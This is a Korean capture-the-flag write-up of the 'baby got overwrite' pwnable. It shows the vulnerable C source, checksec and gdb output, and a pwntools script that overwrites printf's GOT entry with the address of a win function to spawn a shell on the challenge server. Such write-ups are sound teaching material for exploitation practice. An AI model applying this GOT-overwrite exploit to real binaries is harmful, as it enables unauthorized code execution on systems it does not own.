War Game/Pwnable

[sschall] baby got overwrite

GunP4ng 2024. 7. 1. 23:01

baby got overwirte 문제 풀이


1. 취약점 확인

1. C언어

먼저 checksec 명령어로 취약점을 확인해보자

[*] '/home/gunp4ng/pwnable/got_overwrite/baby_got_overwrite/baby_got_overwrite'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

x64 아키텍처에 Stack Canary, NX-bit, Partial RELRO 가 적용된 것을 확인할 수 있다.

 

이제 C 코드를 확인해보자

// gcc got_overwrite.c -o got_overwrite -O0 -no-pie
#include <stdio.h>
#include <stdlib.h>

void initialize(){
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void win(){
    system("/bin/sh");
}

int main(){
    unsigned long long addr = 0;

    initialize();
    
    printf("Addr : ");
    scanf("%lld", &addr);
    printf("Value : ");
    scanf("%lld", (void *)addr);
    printf("bye bye~");

    return 0;
}

 

addr 에 주소값을 입력받는다. 

그 다음 입력받은 값을 위에서 입력받은 주소값(addr) 에 저장한다.

(void *)addr 은 addr 값을 포이넡로 변환하여, 해당 메모리 주소를 가리키는 포인터가 된다.

 

void win(){
    system("/bin/sh");
}

win 함수에 셸을 실행할 수 있는 system("/bin/sh") 가 있다.

 

GOT_Overwrite 를 이용해

printf 함수의 GOT 를 addr 에 입력하고

win 함수의 주소를 덮어씌우면 system 함수가 실행되어 셸을 얻을 수 있을 것이다.

 

 

2. 어셈블리 확인

1. gdb

먼저 main 함수를 살펴보자

Dump of assembler code for function main:
   0x0000000000401214 <+0>:     endbr64
   0x0000000000401218 <+4>:     push   rbp
   0x0000000000401219 <+5>:     mov    rbp,rsp
   0x000000000040121c <+8>:     sub    rsp,0x10
   0x0000000000401220 <+12>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000401229 <+21>:    mov    QWORD PTR [rbp-0x8],rax
   0x000000000040122d <+25>:    xor    eax,eax
   0x000000000040122f <+27>:    mov    QWORD PTR [rbp-0x10],0x0
   0x0000000000401237 <+35>:    mov    eax,0x0
   0x000000000040123c <+40>:    call   0x4011b6 <initialize>
   0x0000000000401241 <+45>:    lea    rdi,[rip+0xdc4]        # 0x40200c
   0x0000000000401248 <+52>:    mov    eax,0x0
   0x000000000040124d <+57>:    call   0x4010a0 <printf@plt>
   0x0000000000401252 <+62>:    lea    rax,[rbp-0x10]
   0x0000000000401256 <+66>:    mov    rsi,rax
   0x0000000000401259 <+69>:    lea    rdi,[rip+0xdb4]        # 0x402014
   0x0000000000401260 <+76>:    mov    eax,0x0
   0x0000000000401265 <+81>:    call   0x4010c0 <__isoc99_scanf@plt>
   0x000000000040126a <+86>:    lea    rdi,[rip+0xda8]        # 0x402019
   0x0000000000401271 <+93>:    mov    eax,0x0
   0x0000000000401276 <+98>:    call   0x4010a0 <printf@plt>
   0x000000000040127b <+103>:   mov    rax,QWORD PTR [rbp-0x10]
   0x000000000040127f <+107>:   mov    rsi,rax
   0x0000000000401282 <+110>:   lea    rdi,[rip+0xd8b]        # 0x402014
   0x0000000000401289 <+117>:   mov    eax,0x0
   0x000000000040128e <+122>:   call   0x4010c0 <__isoc99_scanf@plt>
   0x0000000000401293 <+127>:   lea    rdi,[rip+0xd88]        # 0x402022
   0x000000000040129a <+134>:   mov    eax,0x0
   0x000000000040129f <+139>:   call   0x4010a0 <printf@plt>
   0x00000000004012a4 <+144>:   mov    eax,0x0
   0x00000000004012a9 <+149>:   mov    rdx,QWORD PTR [rbp-0x8]
   0x00000000004012ad <+153>:   sub    rdx,QWORD PTR fs:0x28
   0x00000000004012b6 <+162>:   je     0x4012bd <main+169>
   0x00000000004012b8 <+164>:   call   0x401080 <__stack_chk_fail@plt>
   0x00000000004012bd <+169>:   leave
   0x00000000004012be <+170>:   ret
End of assembler dump.

printf 함수의 주소는 0x4010a0 인 것을 확인할 수 있다.

 

printf  함수의 GOT 는 0x404028 인 것을 확인할 수 있다.

 

 

win 함수의 주소는 0x4011fd 인 것을 확인할 수 있다.

 

아까 위에서 본 C 코드를 확인해보면

scanf 함수에서 자료형을 lld 정수형으로 받고 있다.

따라서 16진수의 값을 10진수로 바꿔줘야 한다.

 

 

3. Payload

1. Payload

페이로드 코드를 살펴보자

from pwn import *

context.log_level = 'error'
context(arch='amd64', os='linux')

p = remote('war.sschall.xyz', 33032)

p.recvuntil(b'Addr : ')
p.sendline(str(int(0x404028)))

p.recvuntil('Value : ')
p.sendline(str(int(0x4011fd)))

p.interactive()

위에서 찾은 printf 의 GOT 0x404028 값을 10진수 정수형으로 변환한다.

그 다음 문자형으로 바꾸어 scanf 함수에 입력한다.

 

win 함수의 주소도 마찬가지로 똑같이 바꿔 scanf 함수에 입력한다.

 

scanf 에 10진수로 변환하여 입력하지만 16진수 주소 값으로 바뀌는 이유는

scanf("%lld", (void *)addr);

C 코드의 이 부분에서 addr 값을 포인터로 변환하여, 해당 메모리 주소를 가리키는 포인터가 되기 때문이다.

 

0x404028 값을 예로 들면,

addr 에 0x404028 의 10진수 값인 4210856이 저장된다.

그 다음 addr 이 포인터로 변환되어 0x404028 의 주소를 가리키게 된다.

 

Flag

실행을 해보면 플래그를 획득할 수 있다.